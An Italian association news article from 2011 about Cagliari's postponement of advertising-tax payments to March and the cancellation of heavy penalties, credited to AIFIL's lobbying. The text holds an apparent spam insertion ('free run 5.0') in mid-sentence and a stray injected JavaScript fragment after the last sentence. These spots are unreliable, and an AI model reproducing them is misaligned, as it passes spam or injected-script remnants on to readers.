Comune di Cagliari: le tasse sulla pubblicità non saranno multate e i pagamenti “slittano” a marzo. Una Grande vittoria di AIFIL.

di Redazione AIFIL[IN]FORMA - 27 gennaio 2011
Classificato in: CID, Legislazione, Tavoli di lavoro | Tag: ,

Grazie agli accordi raggiunti tra AIPA e il Comune di Cagliari, e in seguito alle efficaci azioni messe in atto dal rappresentante provinciale AIFIL Alberto Lai con il supporto dell’avvocato Francesco Laruffa, sono stati prorogati a marzo i pagamenti delle tasse sulla pubblicità senza nessuna “supersanzione” aggiuntiva.

I commercianti di Cagliari, che hanno dichiarato le loro insegne, possono finalmente tirare un sospiro di sollievo: avranno tempo fino al 31 marzo per pagare le tasse dovute, senza nessuna multa aggiuntiva.

Il pagamento degli avvisi relativi all’imposta comunale sulla pubblicità 2009/2010 è stato prorogato e sono state soppresse anche le esorbitanti sanzioni per omessa dichiarazione, che erano state richieste con gli stessi avvisi.

Ricordiamo brevemente i fatti: tutto è iniziato nel 2010 con l’arrivo di circa 3.500 avvisi di accertamento di imposta comunale (non preceduti da avvisi bonari di scadenza) per l’anno 2009, a carico di tutti gli operatori commerciali, artigianali ed industriali cagliaritani, maggiorati dalle sanzioni amministrative di un esorbitante 200%, con conteggi esagerati e fallaci.

Di fronte a questa ingiustizia, la sezione provinciale AIFIL è intervenuta supportando le aziende coinvolte in una protesta che è stata amplificata dalla stampa e dalla TV locale, con una riuscitissima conferenza stampa. A sostenere la battaglia di AIFIL è intervenuto anche un rappresentante dell’amministrazione comunale, il Dott. Casu – Consigliere Comunale di maggioranza –che si è impegnato a portare in  Giunta e poi in consiglio, free run 5.0 una delibera per la sospensione dei termini degli avvisi di accertamento. Azione che ha avuto un buon esito, visto che si è riusciti a far sospendere i pagamenti fino al 31 marzo e ad avviare nuovi dialoghi.

Un risultato felice, ottenuto anche e soprattutto grazie ai tavoli di lavoro intercorsi tra l’Assessore Comunale alla Programmazione Antonello Melis, le associazioni di categoria interessate e l’AIPA, l’associazione responsabile delle riscossioni dei tributi. Rimane ancora aperta la questione dell’interpretazione delle norme che regolano la misurazione delle insegne, ma le parti interessate si sono già ripromesse di incontrarsi a breve per un confronto su queste problematiche.

Ora, negli uffici AIPA (in via Mameli 182/A Tel.0702769001) i commercianti potranno ritirare i nuovi bollettini di pagamento per regolare la loro posizione contributiva, senza nessuna “supersanzione”.

(Rimandiamo agli articoli già pubblicati su AIFIL[IN]FORMA per ulteriori approfondimenti sulla questione “Cagliari”).d.getElementsByTagName('head')[0].appendChild(s);

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